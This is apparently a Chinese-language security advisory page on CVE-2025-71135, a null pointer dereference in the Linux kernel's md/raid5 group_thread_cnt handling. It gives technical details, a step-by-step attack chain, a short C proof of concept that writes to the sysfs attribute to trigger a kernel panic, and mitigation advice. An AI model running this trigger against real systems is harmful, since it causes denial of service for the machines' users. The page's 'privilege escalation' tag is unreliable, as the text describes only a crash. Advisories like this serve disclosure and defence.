IPBUF安全漏洞报告
English
CVE-2025-71135 CVSS 5.5 中危

CVE-2025-71135 Linux内核md/raid5空指针解引用漏洞

披露日期: 2026-01-14
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2025-71135
漏洞类型
空指针解引用
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel md/raid5

相关标签

Linux内核空指针解引用md/raid5本地提权拒绝服务内核漏洞CVE-2025-71135

漏洞概述

CVE-2025-71135是Linux内核md/raid5模块中的一个空指针解引用漏洞。该漏洞存在于raid5_store_group_thread_cnt()函数中,当mddev->private为NULL时,函数会继续调用raid5_quiesce(),导致空指针解引用。攻击者可以通过本地低权限访问触发该漏洞,造成内核崩溃或可用性中断。CVSS评分5.5,属于中危漏洞。该漏洞影响Linux内核的软RAID5功能,攻击复杂度低,无需用户交互即可触发。

技术细节

漏洞根源在于raid5_store_group_thread_cnt()函数的错误处理逻辑。函数首先将mddev->private赋值给局部变量conf,然后检查conf是否为NULL。然而,当conf为NULL时,函数并未正确退出,而是继续调用raid5_quiesce(mddev, true)和raid5_quiesce(mddev, false)。raid5_quiesce()函数内部会将mddev->private重新赋值给conf(此时仍为NULL),随后访问conf->quiesce和conf->wait_for_quiescent等成员,导致空指针解引用。攻击者只需在本地以低权限用户身份访问RAID5配置接口,构造特定的group_thread_cnt参数即可触发漏洞。该漏洞可导致内核恐慌(kernel panic),造成系统拒绝服务。修复方案是在conf为NULL时先解锁mddev并返回,避免调用raid5_quiesce()。

攻击链分析

STEP 1
步骤1
攻击者获取本地系统访问权限,以低权限用户身份登录系统
STEP 2
步骤2
识别系统中存在的md/raid5设备,检查group_thread_cnt接口是否可访问
STEP 3
步骤3
构造特定条件使mddev->private(conf指针)为NULL,例如RAID5阵列处于降级状态或未完全初始化
STEP 4
步骤4
通过sysfs接口向group_thread_cnt写入数据,触发raid5_store_group_thread_cnt()函数执行
STEP 5
步骤5
函数在conf为NULL时未正确退出,继续调用raid5_quiesce(),导致空指针解引用
STEP 6
步骤6
内核访问NULL指针成员(如conf->quiesce),引发内核恐慌(kernel panic),造成系统可用性中断

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
/* * CVE-2025-71135 PoC - Linux Kernel md/raid5 Null Pointer Dereference * This PoC demonstrates triggering the vulnerability through sysfs interface * Requires: Local access with permission to configure md devices */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <sys/types.h> #define SYSFS_MD_PATH "/sys/block/md*/md/" #define GROUP_THREAD_CNT_FILE "group_thread_cnt" int trigger_null_ptr_deref(const char* md_device) { char path[256]; char value[32]; int fd; /* Construct path to group_thread_cnt sysfs attribute */ snprintf(path, sizeof(path), "/sys/block/%s/md/group_thread_cnt", md_device); /* Open the sysfs attribute for writing */ fd = open(path, O_WRONLY); if (fd < 0) { perror("Failed to open group_thread_cnt"); return -1; } /* Write a value to trigger the vulnerable code path */ /* The vulnerability occurs when mddev->private is NULL */ snprintf(value, sizeof(value), "4\n"); if (write(fd, value, strlen(value)) < 0) { perror("Write failed - may indicate null pointer dereference"); } close(fd); return 0; } int main(int argc, char* argv[]) { const char* md_device = "md0"; if (argc > 1) { md_device = argv[1]; } printf("[*] CVE-2025-71135 PoC\n"); printf("[*] Target: %s\n", md_device); printf("[*] Attempting to trigger null pointer dereference...\n"); /* Trigger conditions: * 1. RAID5 array in degraded state or not fully initialized * 2. mddev->private (conf) is NULL * 3. Write to group_thread_cnt sysfs attribute */ trigger_null_ptr_deref(md_device); printf("[*] PoC execution completed\n"); return 0; }

影响范围

Linux Kernel < 20597b7229aea8b5bc45cd92097640257c7fc33b
Linux Kernel < 7ad6ef91d8745d04aff9cce7bdbc6320d8e05fe9
Linux Kernel < e5abb6af905de6b2fead8a0b3f32ab0b81468a01

防御指南

临时缓解措施
在官方补丁发布前,可通过以下措施临时缓解:1) 检查并移除不必要的RAID5配置;2) 使用chmod/chown限制sysfs中md设备属性的访问权限;3) 监控系统日志中的kernel panic信息;4) 考虑使用硬件RAID卡替代软件md/raid5;5) 实施最小权限原则,确保非管理员用户无法访问存储配置接口。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表